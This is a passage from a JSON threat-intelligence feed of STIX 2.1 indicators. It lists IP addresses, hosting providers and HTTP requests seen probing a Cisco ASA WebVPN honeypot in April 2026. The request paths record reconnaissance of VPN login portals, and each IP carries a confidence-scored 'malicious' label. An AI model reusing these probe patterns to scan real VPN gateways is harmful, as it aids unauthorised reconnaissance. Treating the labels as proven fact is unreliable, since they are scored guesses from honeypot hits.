      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4d4811fc-1ded-48ed-9bfd-9178446edc4f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:20:58.000Z",
      "valid_until": "2026-05-15T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T15:56:36.639Z",
          "last_seen": "2026-04-30T03:17:06.489Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T16:20:58.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--49289b89-095e-4092-9cbe-90b401e385d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:20:58.000Z",
      "valid_until": "2026-05-15T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T15:35:32.001Z",
          "last_seen": "2026-04-29T18:42:20.898Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T16:20:58.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--32dfc96b-79bf-46da-b004-70ee6f15f3fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:20:58.000Z",
      "valid_until": "2026-05-15T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T15:21:33.918Z",
          "last_seen": "2026-04-29T20:02:28.413Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T16:20:58.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f539e296-a5a3-4d8d-8544-e355e94a9144",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.87.125.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:20:58.000Z",
      "valid_until": "2026-05-15T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-13T15:20:48.622Z",
          "last_seen": "2026-04-15T05:25:39.607Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--3da9fb45-70b2-44f5-b17d-460d12e6ee5d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '130.49.15.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T16:33:22.191Z",
          "last_seen": "2026-04-13T16:33:36.888Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--aa8fb16f-fba4-4370-af5c-c7e047b8328d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '141.133.5.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T16:42:07.533Z",
          "last_seen": "2026-04-13T16:42:18.463Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--9574d347-0735-40d1-bfca-bdfb425da86a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.4.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T17:05:33.506Z",
          "last_seen": "2026-04-13T17:05:48.827Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--6c6c25fb-683f-4b10-a5a6-a10d2defeede",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T16:53:01.718Z",
          "last_seen": "2026-04-27T21:56:20.225Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 13213 (Thg Hosting Limited)",
      "id": "indicator--57aee545-a52c-4ae6-baaa-5e67daf13a42",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.190.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T17:13:56.914Z",
          "last_seen": "2026-04-13T17:28:54.802Z",
          "country": "United States",
          "country_code": "US",
          "asn": 13213,
          "as_org": "Thg Hosting Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--92630a50-6380-4c3d-9a4f-ec2c4f086264",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '170.168.230.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T16:36:21.509Z",
          "last_seen": "2026-04-13T16:36:38.044Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--f6894290-a029-4982-9d2a-23bd15466740",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.204.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T17:05:04.039Z",
          "last_seen": "2026-04-13T17:05:21.504Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--baf0c628-26eb-4cf1-bb04-aa060ef0968c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.255.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T16:34:48.954Z",
          "last_seen": "2026-04-14T01:50:22.630Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--cd5982d3-9de2-490b-b518-67324423acd1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-13T16:59:25.761Z",
          "last_seen": "2026-04-27T21:37:36.173Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 25737 (Jone Broadband LLC)",
      "id": "indicator--90aa26de-9b6f-4813-9765-cc214409b522",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.8.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T17:00:46.109Z",
          "last_seen": "2026-04-27T10:49:49.903Z",
          "country": "United States",
          "country_code": "US",
          "asn": 25737,
          "as_org": "Jone Broadband LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0b55bc3a-767c-426a-bf91-daa5a5ad562c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-13T17:14:35.584Z",
          "last_seen": "2026-04-30T02:47:12.915Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--60b413af-87a0-49c4-ae89-eb368c7019f3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-13T16:44:59.404Z",
          "last_seen": "2026-04-27T13:22:45.391Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a224c89f-ae35-4fde-8361-e437dabe7907",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T16:36:42.344Z",
          "last_seen": "2026-04-23T17:23:43.845Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ef171020-2e69-46bb-b973-5bfb606722bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.88.103.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T15:17:18.220Z",
          "last_seen": "2026-04-13T16:49:55.517Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T17:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 10439 (CariNet, Inc.)",
      "id": "indicator--c1ee61ab-158b-4fc0-b5a7-4cac825e903d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:20:18.000Z",
      "valid_until": "2026-05-15T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-13T16:53:18.404Z",
          "last_seen": "2026-04-13T16:53:21.407Z",
          "country": "United States",
          "country_code": "US",
          "asn": 10439,
          "as_org": "CariNet, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T18:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e3254b7e-911c-4af5-b1d9-ae3f92524835",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.1.241.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T18:20:30.000Z",
      "valid_until": "2026-05-15T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T17:29:37.486Z",
          "last_seen": "2026-04-15T03:23:38.921Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
